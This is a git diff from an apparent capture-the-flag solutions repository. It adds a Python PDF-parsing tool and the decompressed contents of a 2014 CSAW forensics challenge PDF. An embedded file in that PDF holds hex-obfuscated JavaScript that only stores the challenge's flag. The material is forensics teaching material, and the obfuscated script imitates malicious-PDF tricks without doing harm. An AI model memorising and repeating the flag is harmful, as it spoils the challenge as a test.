CONTEXT_NONE + self.content = [] + return self.oPDFElementTrailer + else: + self.content.append(self.token) + elif self.context == CONTEXT_XREF: + if self.token[1] == 'trailer' or self.token[1] == 'xref': + self.oPDFElementXref = cPDFElementXref(self.content) + self.oPDFTokenizer.unget(self.token) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementXref + else: + self.content.append(self.token) + else: + if IsNumeric(self.token[1]): + self.token2 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if IsNumeric(self.token2[1]): + self.token3 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token3[1] == 'obj': + self.objectId = eval(self.token[1]) + self.objectVersion = eval(self.token2[1]) + self.context = CONTEXT_OBJ + else: + self.oPDFTokenizer.unget(self.token3) + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 6: %d %s' % (self.token[0], repr(self.token[1]))) + else: + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 7: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.token[1] == 'trailer': + self.context = CONTEXT_TRAILER + self.content = [self.token] + elif self.token[1] == 'xref': + self.context = CONTEXT_XREF + self.content = [self.token] + elif self.token[1] == 'startxref': + self.token2 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token2 and IsNumeric(self.token2[1]): + return cPDFElementStartxref(eval(self.token2[1])) + else: + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 9: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.extract: + self.bytes = '' + while self.token: + self.bytes += self.token[1] + self.token = self.oPDFTokenizer.Token() + return cPDFElementMalformed(self.bytes) + elif self.verbose: + print('todo 10: %d %s' % (self.token[0], repr(self.token[1]))) + else: + break + +class cPDFElementComment: + def __init__(self, comment): + self.type = PDF_ELEMENT_COMMENT + self.comment = comment +# if re.match('^%PDF-[0-9]\.[0-9]', self.token[1]): +# print(repr(self.token[1])) +# elif re.match('^%%EOF', self.token[1]): +# print(repr(self.token[1])) + +class cPDFElementXref: + def __init__(self, content): + self.type = PDF_ELEMENT_XREF + self.content = content + +class cPDFElementTrailer: + def __init__(self, content): + self.type = PDF_ELEMENT_TRAILER + self.content = content + +def IIf(expr, truepart, falsepart): + if expr: + return truepart + else: + return falsepart + +class cPDFElementIndirectObject: + def __init__(self, id, version, content): + self.type = PDF_ELEMENT_INDIRECT_OBJECT + self.id = id + self.version = version + self.content = content + + def GetType(self): + content = CopyWithoutWhiteSpace(self.content) + dictionary = 0 + for i in range(0, len(content)): + if content[i][0] == CHAR_DELIMITER and content[i][1] == '<<': + dictionary += 1 + if content[i][0] == CHAR_DELIMITER and content[i][1] == '>>': + dictionary -= 1 + if dictionary == 1 and content[i][0] == CHAR_DELIMITER and EqualCanonical(content[i][1], '/Type') and i < len(content) - 1: + return content[i+1][1] + return '' + + def GetReferences(self): + content = CopyWithoutWhiteSpace(self.content) + references = [] + for i in range(0, len(content)): + if i > 1 and content[i][0] == CHAR_REGULAR and content[i][1] == 'R' and content[i-2][0] == CHAR_REGULAR and IsNumeric(content[i-2][1]) and content[i-1][0] == CHAR_REGULAR and IsNumeric(content[i-1][1]): + references.append((content[i-2][1], content[i-1][1], content[i][1])) + return references + + def References(self, index): + for ref in self.GetReferences(): + if ref[0] == index: + return True + return False + + def ContainsStream(self): + for i in range(0, len(self.content)): + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + return self.content[0:i] + return False + + def Contains(self, keyword): + data = '' + for i in range(0, len(self.content)): + if self.content[i][1] == 'stream': + break + else: + data += Canonicalize(self.content[i][1]) + return data.upper().find(keyword.upper()) != -1 + + def StreamContains(self, keyword, filter, casesensitive, regex): + if not self.ContainsStream(): + return False + streamData = self.Stream(filter) + if filter and streamData == 'No filters': + streamData = self.Stream(False) + if regex: + return re.search(keyword, streamData, IIf(casesensitive, 0, re.I)) + elif casesensitive: + return keyword in streamData + else: + return keyword.lower() in streamData.lower() + + def Stream(self, filter=True): + state = 'start' + countDirectories = 0 + data = '' + filters = [] + for i in range(0, len(self.content)): + if state == 'start': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '<<': + countDirectories += 1 + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '>>': + countDirectories -= 1 + if countDirectories == 1 and self.content[i][0] == CHAR_DELIMITER and EqualCanonical(self.content[i][1], '/Filter'): + state = 'filter' + elif countDirectories == 0 and self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + state = 'stream-whitespace' + elif state == 'filter': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1][0] == '/': + filters = [self.content[i][1]] + state = 'search-stream' + elif self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '[': + state = 'filter-list' + elif state == 'filter-list': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1][0] == '/': + filters.append(self.content[i][1]) + elif self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == ']': + state = 'search-stream' + elif state == 'search-stream': + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + state = 'stream-whitespace' + elif state == 'stream-whitespace': + if self.content[i][0] != CHAR_WHITESPACE: + data += self.content[i][1] + state = 'stream-concat' + elif state == 'stream-concat': + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'endstream': + if filter: + return self.Decompress(data, filters) + else: + return data + else: + data += self.content[i][1] + else: + return 'Unexpected filter state' + return filters + + def Decompress(self, data, filters): + for filter in filters: + if EqualCanonical(filter, '/FlateDecode') or EqualCanonical(filter, '/Fl'): + try: + data = FlateDecode(data) + except zlib.error, e: + message = 'FlateDecode decompress failed' + if len(data) > 0 and ord(data[0]) & 0x0F != 8: + message += ', unexpected compression method: %02x' % ord(data[0]) + return message + '. zlib.error %s' % e.message + elif EqualCanonical(filter, '/ASCIIHexDecode') or EqualCanonical(filter, '/AHx'): + try: + data = ASCIIHexDecode(data) + except: + return 'ASCIIHexDecode decompress failed' + elif EqualCanonical(filter, '/ASCII85Decode') or EqualCanonical(filter, '/A85'): + try: + data = ASCII85Decode(data.rstrip('>')) + except: + return 'ASCII85Decode decompress failed' + elif EqualCanonical(filter, '/LZWDecode') or EqualCanonical(filter, '/LZW'): + try: + data = LZWDecode(data) + except: + return 'LZWDecode decompress failed' + elif EqualCanonical(filter, '/RunLengthDecode') or EqualCanonical(filter, '/R'): + try: + data = RunLengthDecode(data) + except: + return 'RunLengthDecode decompress failed' +# elif i.startswith('/CC') # CCITTFaxDecode +# elif i.startswith('/DCT') # DCTDecode + else: + return 'Unsupported filter: %s' % repr(filters) + if len(filters) == 0: + return 'No filters' + else: + return data + +class cPDFElementStartxref: + def __init__(self, index): + self.type = PDF_ELEMENT_STARTXREF + self.index = index + +class cPDFElementMalformed: + def __init__(self, content): + self.type = PDF_ELEMENT_MALFORMED + self.content = content + +def TrimLWhiteSpace(data): + while data != [] and data[0][0] == CHAR_WHITESPACE: + data = data[1:] + return data + +def TrimRWhiteSpace(data): + while data != [] and data[-1][0] == CHAR_WHITESPACE: + data = data[:-1] + return data + +class cPDFParseDictionary: + def __init__(self, content, nocanonicalizedoutput): + self.content = content + self.nocanonicalizedoutput = nocanonicalizedoutput + dataTrimmed = TrimLWhiteSpace(TrimRWhiteSpace(self.content)) + if dataTrimmed == []: + self.parsed = None + elif self.isOpenDictionary(dataTrimmed[0]) and self.isCloseDictionary(dataTrimmed[-1]): + self.parsed = self.ParseDictionary(dataTrimmed)[0] + else: + self.parsed = None + + def isOpenDictionary(self, token): + return token[0] == CHAR_DELIMITER and token[1] == '<<' + + def isCloseDictionary(self, token): + return token[0] == CHAR_DELIMITER and token[1] == '>>' + + def ParseDictionary(self, tokens): + state = 0 # start + dictionary = [] + while tokens != []: + if state == 0: + if self.isOpenDictionary(tokens[0]): + state = 1 + else: + return None, tokens + elif state == 1: + if self.isOpenDictionary(tokens[0]): + pass + elif self.isCloseDictionary(tokens[0]): + return dictionary, tokens + elif tokens[0][0] != CHAR_WHITESPACE: + key = ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput) + value = [] + state = 2 + elif state == 2: + if self.isOpenDictionary(tokens[0]): + value, tokens = self.ParseDictionary(tokens) + dictionary.append((key, value)) + state = 1 + elif self.isCloseDictionary(tokens[0]): + dictionary.append((key, value)) + return dictionary, tokens + elif value == [] and tokens[0][0] == CHAR_WHITESPACE: + pass + elif value == [] and tokens[0][1] == '[': + value.append(tokens[0][1]) + elif value != [] and value[0] == '[' and tokens[0][1] != ']': + value.append(tokens[0][1]) + elif value != [] and value[0] == '[' and tokens[0][1] == ']': + value.append(tokens[0][1]) + dictionary.append((key, value)) + value = [] + state = 1 + elif value != [] and tokens[0][1][0] == '/': + dictionary.append((key, value)) + key = ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput) + value = [] + state = 2 + else: + value.append(ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput)) + tokens = tokens[1:] + + def retrieve(self): + return self.parsed + + def PrettyPrintSub(self, prefix, dictionary): + if dictionary != None: + print('%s<<' % prefix) + for e in dictionary: + if e[1] == []: + print('%s %s' % (prefix, e[0])) + elif type(e[1][0]) == type(''): + value = ''.join(e[1]).strip() + reprValue = repr(value) + if "'" + value + "'" != reprValue: + value = reprValue + print('%s %s %s' % (prefix, e[0], value)) + else: + print('%s %s' % (prefix, e[0])) + self.PrettyPrintSub(prefix + ' ', e[1]) + print('%s>>' % prefix) + + def PrettyPrint(self, prefix): + self.PrettyPrintSub(prefix, self.parsed) + +def FormatOutput(data, raw): + if raw: + if type(data) == type([]): + return ''.join(map(lambda x: x[1], data)) + else: + return data + else: + return repr(data) + +def PrintObject(object, options): + print('obj %d %d' % (object.id, object.version)) + print(' Type: %s' % ConditionalCanonicalize(object.GetType(), options.nocanonicalizedoutput)) + print(' Referencing: %s' % ', '.join(map(lambda x: '%s %s %s' % x, object.GetReferences()))) + dataPrecedingStream = object.ContainsStream() + oPDFParseDictionary = None + if dataPrecedingStream: + print(' Contains stream') + if options.debug: + print(' %s' % FormatOutput(dataPrecedingStream, options.raw)) + oPDFParseDictionary = cPDFParseDictionary(dataPrecedingStream, options.nocanonicalizedoutput) + else: + if options.debug or options.raw: + print(' %s' % FormatOutput(object.content, options.raw)) + oPDFParseDictionary = cPDFParseDictionary(object.content, options.nocanonicalizedoutput) + print('') + oPDFParseDictionary.PrettyPrint(' ') + print('') + if options.filter and not options.dump: + filtered = object.Stream() + if filtered == []: + print(' %s' % FormatOutput(object.content, options.raw)) + else: + print(' %s' % FormatOutput(filtered, options.raw)) + if options.content: + if object.ContainsStream(): + stream = object.Stream(False) + if stream != []: + print(' %s' % FormatOutput(stream, options.raw)) + else: + print(''.join([token[1] for token in object.content])) + + + if options.dump: + filtered = object.Stream(options.filter == True) + if filtered == []: + filtered = '' + try: + fDump = open(options.dump, 'wb') + try: + fDump.write(C2BIP3(filtered)) + except: + print('Error writing file %s' % options.dump) + fDump.close() + except: + print('Error writing file %s' % options.dump) + print('') + return + +def Canonicalize(sIn): + if sIn == '': + return sIn + elif sIn[0] != '/': + return sIn + elif sIn.find('#') == -1: + return sIn + else: + i = 0 + iLen = len(sIn) + sCanonical = '' + while i < iLen: + if sIn[i] == '#' and i < iLen - 2: + try: + sCanonical += chr(int(sIn[i+1:i+3], 16)) + i += 2 + except: + sCanonical += sIn[i] + else: + sCanonical += sIn[i] + i += 1 + return sCanonical + +def EqualCanonical(s1, s2): + return Canonicalize(s1) == s2 + +def ConditionalCanonicalize(sIn, nocanonicalizedoutput): + if nocanonicalizedoutput: + return sIn + else: + return Canonicalize(sIn) + +# http://code.google.com/p/pdfminerr/source/browse/trunk/pdfminer/pdfminer/ascii85.py +def ASCII85Decode(data): + import struct + n = b = 0 + out = '' + for c in data: + if '!' <= c and c <= 'u': + n += 1 + b = b*85+(ord(c)-33) + if n == 5: + out += struct.pack('>L',b) + n = b = 0 + elif c == 'z': + assert n == 0 + out += '\0\0\0\0' + elif c == '~': + if n: + for _ in range(5-n): + b = b*85+84 + out += struct.pack('>L',b)[:n-1] + break + return out + +def ASCIIHexDecode(data): + return binascii.unhexlify(''.join([c for c in data if c not in ' \t\n\r']).rstrip('>')) + +def FlateDecode(data): + return zlib.decompress(data) + +def RunLengthDecode(data): + f = StringIO(data) + decompressed = '' + runLength = ord(f.read(1)) + while runLength: + if runLength < 128: + decompressed += f.read(runLength + 1) + if runLength > 128: + decompressed += f.read(1) * (257 - runLength) + if runLength == 128: + break + runLength = ord(f.read(1)) +# return sub(r'(\d+)(\D)', lambda m: m.group(2) * int(m.group(1)), data) + return decompressed + +#### LZW code sourced from pdfminer +# Copyright (c) 2004-2009 Yusuke Shinyama +# +# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated +# documentation files (the "Software"), to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +class LZWDecoder(object): + def __init__(self, fp): + self.fp = fp + self.buff = 0 + self.bpos = 8 + self.nbits = 9 + self.table = None + self.prevbuf = None + return + + def readbits(self, bits): + v = 0 + while 1: + # the number of remaining bits we can get from the current buffer. + r = 8-self.bpos + if bits <= r: + # |-----8-bits-----| + # |-bpos-|-bits-| | + # | |----r----| + v = (v<>(r-bits)) & ((1< __maximum_python_version__: + if enforceMaximumVersion: + print('This program does not work with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Please use Python version %d.%d.%d' % __maximum_python_version__) + sys.exit() + else: + print('This program has not been tested with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Should you encounter problems, please use Python version %d.%d.%d' % __maximum_python_version__) + if sys.version_info[0:3] < __minimum_python_version__: + if enforceMinimumVersion: + print('This program does not work with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Please use Python version %d.%d.%d' % __maximum_python_version__) + sys.exit() + else: + print('This program has not been tested with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Should you encounter problems, please use Python version %d.%d.%d' % __maximum_python_version__) + +if __name__ == '__main__': + TestPythonVersion() + Main() diff --git a/CTFs/2014-CSAW-CTF/forensics/fluffy/unpacked.txt b/CTFs/2014-CSAW-CTF/forensics/fluffy/unpacked.txt new file mode 100644 index 0000000..342a68b --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/fluffy/unpacked.txt @@ -0,0 +1,1318 @@ +%PDF-1.4 +% +%QDF-1.0 + +%% Original object ID: 6 0 +1 0 obj +<< + /Names << + /EmbeddedFiles << + /Names [ + (s) + 3 0 R + ] + >> + >> + /Pages 4 0 R + /Type /Catalog +>> +endobj + +%% Original object ID: 7 0 +2 0 obj +<< + /CreationDate (D:20140918130655-04'00') + /ModDate (D:20140918130655-04'00') + /Producer (PDFill: Free PDF Writer and Tools) +>> +endobj + +%% Original object ID: 9 0 +3 0 obj +<< + /EF << + /F 5 0 R + >> + /F (s) + /Type /Filespec +>> +endobj + +%% Original object ID: 4 0 +4 0 obj +<< + /Count 1 + /ITXT (10.0) + /Kids [ + 7 0 R + ] + /Type /Pages +>> +endobj + +%% Original object ID: 8 0 +5 0 obj +<< + /Params << + /Checksum <7f0104826bde58b80218635f639b50a9> + /Size 495 + >> + /Subtype /application#2fpdf + /Type /EmbeddedFile + /Length 6 0 R +>> +stream +var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0]; +endstream +endobj + +%QDF: ignore_newline +6 0 obj +494 +endobj + +%% Page 1 +%% Original object ID: 5 0 +7 0 obj +<< + /Contents 8 0 R + /MediaBox [ + 0 + 0 + 612 + 792 + ] + /Parent 4 0 R + /Resources << + /ProcSet [ + /PDF + /Text + /ImageB + /ImageC + /ImageI + ] + /XObject << + /img0 10 0 R + /img1 12 0 R + >> + >> + /Type /Page +>> +endobj + +%% Contents for page 1 +%% Original object ID: 3 0 +8 0 obj +<< + /Length 9 0 R +>> +stream +q +BT +36 756 Td +ET +Q +q 540 0 0 621 36 85.5 cm /img1 Do Q +endstream +endobj + +9 0 obj +56 +endobj + +%% Original object ID: 1 0 +10 0 obj +<< + /BitsPerComponent 8 + /ColorSpace /DeviceGray + /Height 575 + /Subtype /Image + /Type /XObject + /Width 500 + /Length 11 0 R +>> +stream + +endstream +endobj + +%QDF: ignore_newline +11 0 obj +287500 +endobj + +%% Original object ID: 2 0 +12 0 obj +<< + /BitsPerComponent 8 + /ColorSpace /DeviceRGB + /Height 575 + /SMask 10 0 R + /Subtype /Image + /Type /XObject + /Width 500 + /Length 13 0 R +>> +stream +26A.2=59D8I;?J<>J;=I:I;?J=AL;BL:AK;BL>EO=CO>DP>DP=CO>DP@FR@FR>DP=CO>DP>DP>DP>DP>DP=CO=CO?COAEQBFRBFRAEQAEQBFRDHTAGS@FR?EQ?EQ@FRBHTCIUCIUCIUCIUBHTBHTCIUCIUCIUBHTCJRDKUDJVDJXDJXDJXDJVEKWDKUCJTCIUCIUDJVEKYDJXDJXEK[DJXDJXFLZFLZEKYEKYGM[GKWGKWGKWGKWEKWEKWEKWEKWFMWFMWFLXFLZFLZFL\FK^FK^EJ]DJZDJXDJVEKWFLXEKYEKYEKWEKWEKWELVELVELVELVELVFOXENWEMXEMZFN[GN^FM_FM_IPbIPbIPbIP`IQ^JR]KS^LT_IPbIPbIPbIPbJQcJQcJQcJQcIPbIPbIPbIPbIP`IP`IP`IP`IQ^HP]HP]IQ^JR_KS^KS^JR]JOcKPdLQeMRfLQdLQdLQdMReKQ]LR^MS_LR^KQ]KQ]LR^NT`MU`LT_KS^KS^KS^LScLSeLSfLQdMScNT`NT`OUaOUeNSfNSgOUaNT`MS_MSaNTbNTbNTbMScMReMReNSfOTgOTgOTgOTgOTgNSfMReMReLQdLQdLRbLRbLRbKT]JS\JS\MV_MU`LTaLScNUgINdPUkPUiJP`KQ_OUaOV`NU]RVbQUaPSbMSaPVfQWgNUgOVhOTgNTdMScMScNTdPVfPVfPVfNT`OUaOUaOUaPVbPVbPVdPVdPVdQWeQWeQWgQWgQWgQViQViPVfPVfRXhSYiSYiRXhQWgRXhQWgRWjRWjSXlSXlSXkRWjQWgPUhPUhRWjRWjRWjRWkQVjPUiSYgSYgRXfRXfRXhRXhRXhRXhOTgPUhQWgPVfPVdPVdPVbQWcOTgPUhQViOTgOTgPUhOTgNSfNSiNSiNSgNSfNSfOUeOUcPVdMReNSfQViRWjRWjQWgQWgQWgPUhPUhPUhPUhPUhPUhPUhPUhOTgPVfPVdNTbLR^LR`MSaOUeQViQViQViPUhPUhPUhPUhQViRWjQViOTgOTgPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhOTgQViRWjPUhPUhRWjQViOTgPUhQViQViPUhPUhPUhQViQViQViQViPUhPUhPUhPUhQViQViQViQViRWjSXkSXkQViPUhPUhQViQViPUhOTgNSfPUhQViOTgOTgPUhOTgMReMReMReMReJQcJQcIPbJQcJQcJQcJQcJQcLSeLSeMTfMTfMTfNUgNUgNUgOTgOTgPUhQViQViRWjRWjRWjSXkSXkSXkTYlUZmV[nUZmTYlU\nU\nV]oV]oW^pW^pW^pW^pZatZatZatZasZaqZaq[br[cp[cn^fq_gr]er[cp\dq\dq[br]er]er]er]er^fs_gt`hu`huaiv_gt_gt`hu26A/3>59D9=H9;G9;G8:F;=I9=H9=H9=H:>I;?J;?J;=I:I;?J=AL;BL:AKEO=CO?EQ?EQ>DP>DP@FR@FR?EQ>DP>DP>DP>DP?EQ>DP>DP>DP@DPBFRCGSCGSBFRAEQCGSDHTAGS@FR@FR@FRAGSCIUCIUCIUCIUBHTBHTBHTCIUDJVDJVCIUCJTDKUDJVDJXDJXDJXDJVEKWDKUDKUCIUDJVEKWFLZEKYEKYEKYDJXEKYFLZFLZEKYEKWFLXGKWGKWGKWGKWEKWEKWFLXFLXFMWFMWFLXFLZFLZFL\FL\FK^FK^EK[EKYFLXFLXFLXFLZFLZEKWFLXFLXGMYGMYGMYFMWFMWGPYFOXFNYGO\HP]HO_HO_GN`HO_IP`IP`JQaJR_KS`KS`KS`JQcJQcJQcJQcJQcKRdKRdKRdJQcJQcJQcJQcJQaJQaJQaJQaKS`KS`KS`KS`KS`KS`KS^JR]JObKPcLQdLQdLQdKPcLRbLRbLR`MSaMSaMSaLR`LR`MSaNTbMUbLTaKS^KS^LT_LTaMTdMTfNSfNTdNTbNT`NT`NTdNSfNSgNT`NT`NT`NTbNTbNTbNTbNTdNSfNSfNSfOTgOTgPUhOTgOTgNSfNSfNSfNSfNSfMScMScLRbKS^KS^MV_NVaNVaMUbKRdKReJQdKRdMTfOVfNVcLTaLT_NVaNT`TZfQWePVdPVfLScNUgRYkPUhOTgOTgNSfOUePVfQWgQWgNT`OUaOUaPVbPVdPVdPVdPVdPVdPVdPVdOUeOUePVfPVfPVfPVfQWgRXhRXhSYiSYiRXhQWgQWgQViRWjRWkSXlRWjRWjRXhRWjRWjRWjRWjRWjRWjSXlSXlSYiSYiRXhRXhRXhRXhRWjRWjPUhPUhPVfPVfPVdPVdPVbQWcOTgPUhQViOTgOTgPUhPUhNSfOThNSgNSfNSfNSfOTgOUeOUeNSfOTgQViRWjRWjRXhRXhRXhPUhPUhPUhPUhPUhPUhPUhPUhNSfOUePVdOUcNT`MSaMScNTdOTgPUhPUhPUhPUhQViQViRWjRWjQViPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhOTgQViRWjPUhPUhRWjQViPUhQViQViQViPUhPUhQViRWjRWjQViQViPUhQViQViQViQViRWjQViQViQViRWjRWjQViPUhPUhQViQViPUhOTgOTgPUhQViOTgPUhPUhOTgNSfMReMReNSfJQcJQcJQcJQcJQcJQcJQcJQcKRdLSeMTfNUgNUgNUgNUgMTfNSfOTgPUhQViRWjRWjRWjRWjSXkRWjSXkTYlUZmUZmUZmTYlU\nU\nV]oV]oV]oV]oV]oU\n[buZatZatZasZas[br[br\cs\do^fq^fq\dq\dq^fs]er[br]er]er]er^fs_gt`hu_gt_gtaiv_gt^fs_gt26A/3>6:E:>I:>I:>I9;G:I:>I:>I:>I;?J;?J:>I:I;?J;BL;BL;BLDP?EQ?EQ>DP?EQAGSAGS?EQ>DP>DP?EQ?EQ?EQ?EQ?EQ?EQ@FRAGSBHTBHTAGS@FRAGSCIUAGSAGSAGSBHTCIUCIUCIUCIUBHTBHTBHTCIUDJVEKWEKWDJVDKUDKUEKWEKYDJXDJXEKWEKWELVELVDJVEKWFLXGM[FLZFLZFLZEKYFLZGM[GM[FLXEKWEKWHLXGKWGKWEKWEKWFLXGMYGMYGNXGMYGMYGM[GM[GM]GM]GM]GM]GM]GM[GMYGMYGMYGM[GM]FLZGM[GM[HN\HN\HN\GMYGMYHQZHP[GOZHP]IQ^JQaJQaIP`IQ^IQ^JR_KS`KRbKRbKRbJQaKRdKRdLSeLSeKRdKRdLSeLSeLSeLSeLSeLSeLScLScLScLScLTaLTaMUbLTaLTaLTaLTaLT_KPcLQdMScMScLRbKQaLRbLRbMScNTdNTdNTdMScMScNTdOUeMTfLScLTaLT_LT_LT_MUbNVcPVfPVfOUcNTbNTbNTbNTdNSfMSaNTbOUcOUcOUcOUcOUcNTbOTgOTgPUhPUhPUhPUhPUhPUhNSfOTgPUhPUhPUhOUeNTdMScLTaMUbLT_LT_MUbPWgQXjQXkNUdIP_IP_LSbLScJQaLScNUePXeKS`NVcS[hKRbKRbT[kKRbQVjQVjQViPUhPUhPUhQViQViOUaOUaPVdPVdQWeQWeQWeQWeQWeQWePVfPVfPVfPVfPVfQWgPVfRXhSYiQWgRXhU[kTZjQWgQWgQWgQViRWkRWkRWjRXhRXhTZjSYiRXhRWjRWjSXkTYlTYlRXhQWfPUgPUgPUgQViQViRWjQViQViPUhPVfPVdPVdPVbPVbOTgPUhQViPUhPUhPUhPUhOTgOUeNTdNTdNSfOTgOTgOTgOThPUhPUhQViQViRXhSYiRXhRXhQViPUhPUhOTfOTfNSdNSeOTfLQdNSfPVfPVdPVdOUcNTdNTdNSfOTgPUhPUhPUhQViRWjSXkQViRWjQViQViQViPUhQViQViPUhPUhPUhPUhPUhPUhPUhPUhPUhPUhRWjRWjPUhPUhRWjQViQViQViQViQViQViQViRWjRWjRWjQViQViQViRWjRWjRWjQViSXkRWjQViQViRWjRWjQViPUhQViQViQViPUhOTgOTgPUhQViPUhPUhPUhPUhOTgNSfNSfNSfJQcJQcJQcJQcJQcJQcJQcJQcKRdLSeMTfOVhOVhOVhMTfMTfNSfOTgPUhQViRWjRWjSXkSXkRWjRWjRWjSXkTYlUZmTYlTYlT[mU\nU\nV]oV]oU\nU\nT[mZatZatZasZas[bt[bt[br\cs]er^fs]er\dq^fs`hu_gt]er\dq\dq]er_gtaivaiv_gt]er`hu^fs^fs^fs26A/3>6:E;?J<@K<@K9=H9=H9@J8?I:>I;?J;?J;?J;?J:>I9;G8:F68D68D68D79E79E79E79E9;G:I8?I;BLDP?EQ?EQ>DP?EQAGSAGS@FR?EQ?EQ?EQ@FR@FR@FR@FR@FR@FRAGSBHTBHTAGSAGSAGSBHTBHTBHTCIUDJVDJVDJVDJVCIUCIUCIUCIUCIUEKWEKWEKWEKWDKUEKWEKYEKYEKYEKYEKWFLXFMWELVEKWEKWGMYGM[GM[FLZFLZFLZGM[HN\GMYFLXEKWDJVGKWGKWEKWEKWFLXFLXGMYHNZGMYGMYGMYGMYGM[GM[GM[GM[GM]GM[HNZHNZGMYGM[GM]HN^GM]GM]FK[CIX@FS<@L9=I8=G9>G:?H;AK@GPELXIQ]KS`KS`JR]JR]KS^KS`KRbKRdIPaFL]BIX>DSCSAGVGM^IPaMTdLScIO_EL[@FS=CPCN;AK;@KBP>CSCGWEI[KPbMRePUhMTgMTfMTdMU`KR]HPZFLVAHR@ES>CP=BN>CN>CO@DPAES?CQCM@DPAFRFKWIO\MS`OTgLPcHM]DHXAEU>CQ>BQ>BQ<@O>AP?CRCGXGK\JP_LRbMScOVfOVfNVcJR_HO\EKZAHV8>K49@04<38?7DQCS?CSBFVEIYEJ[FIZCFW@EU>CM>CM?DOBGSHN[IO]JO]FJYCHVAER@DRAERCGUFKYJP^NScLQaLQ_FKXAES@EQCHUEKXEKXIO]IN]GJ[BGW@DT@CSAFSFKXJP^PUePVfRXhRXhRXhNSeIM^>AO69F15A14?69E;>LCHXIN`PUhPUhPUhPVfPVfQWeQWeQWcPUhQViOTfKPbGL[BGW?DS>BQ>CM@DPCHUFKZFK]FI[@EV=AQ>BQ>CRADUFKZLQ`PVfRXhPVfNSeHL^AES8;I36B04?47A8BPEJ[MSbPVdQWePVdMSbHN]EIY@EU?CR>BQ>BQAETCGVEIZ@DTAEU@DS?CS?CRAEUFJYJO`NRdPUhQViQViQViPUhPUhPUhQViPUhRWjSXkPUhQViRWjQViRWjRWjRWjRWjRWjRWjSXkSXkSXkRWjQViRWjSXkSXkSXkRWjSXkRWjRWjRWjSXkSXkRWjQViRWjRWjQViQViPUhPUhQViRWjQViQViQViPUhOTgOTgNSfNSfKRdKRdJQcJQcKRdKRdKRdJQcKRdLSeNUgOVhOVhOVhNUgMTfOTgOTgPUhQViRWjRWjRWjRWjRWjRWjRWjRWjSXkTYlTYlUZmT[mT[mU\nV]oV]oV]oV]oU\nX_qY`rY`rZasZas[bt[bt[bt]er^fs]er]er^fs`hu`hu_gt]er]er]er_gtaivaiv_gt]er^fs^fs^fs^fs35A02>7;F<@K=AL;BL8?I8?I9@J9@J8?I;?J<@K<@K;?J:>I:I<@K9@J8?I8?I;BLGP=CO?EQ?EQ>DP?EQAGSAGS@FR?EQ@FR@FRAGSAGSAGSAGSAGS@FRAGSAGSAGSAGS@FRAGSBHTBHTCIUDJVEKWEKWEKWDJVDJVEKWDJVDJVDJVEKWEKWEKWDJVELVEKWFLZFLZEK[EKYFLZFLXFMWELVEKWFLXGMYGM[GM[FLZGM[HN\HN\HN\GMYGMYEKWDJVEKWEKWFLXGMYGMYGMYFNYFNYGMYGMYGMYGMYGMYGM[GM[GM[FLZGM[HNZHNZGMYGM[GM]HM`HN^GM]AFT27B#&.!$)17>AHRJR_KS`KS^KS^KS^KS`KRbJQc@FU26A!#*$,0:;@NJP`IO_:?K*.6"!(&*1'(1# ',/9>BPJO`QViNUhNUgNUeNVaFMW7=E'*1  $'-69CEKVKPb<@N,.9$ #&.59DDJWMScMTfOVfNUdELX9>H*-6"( "*-1<>DREN\JSbOXg?DR05=#&%$&.#%.$!')1/2:-0:!( %.2:;?J:?J.18$ 